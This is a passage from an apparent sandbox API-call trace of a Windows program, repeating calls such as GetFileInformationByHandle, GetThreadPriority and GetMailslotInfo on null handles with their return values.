(hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.344] GetFileType (hFile=0x0) returned 0x0 [0029.344] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.344] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.345] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.345] GetFileType (hFile=0x0) returned 0x0 [0029.345] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.346] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.346] GetFileType (hFile=0x0) returned 0x0 [0029.346] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.347] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.347] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.347] GetFileType (hFile=0x0) returned 0x0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.941] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.941] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, 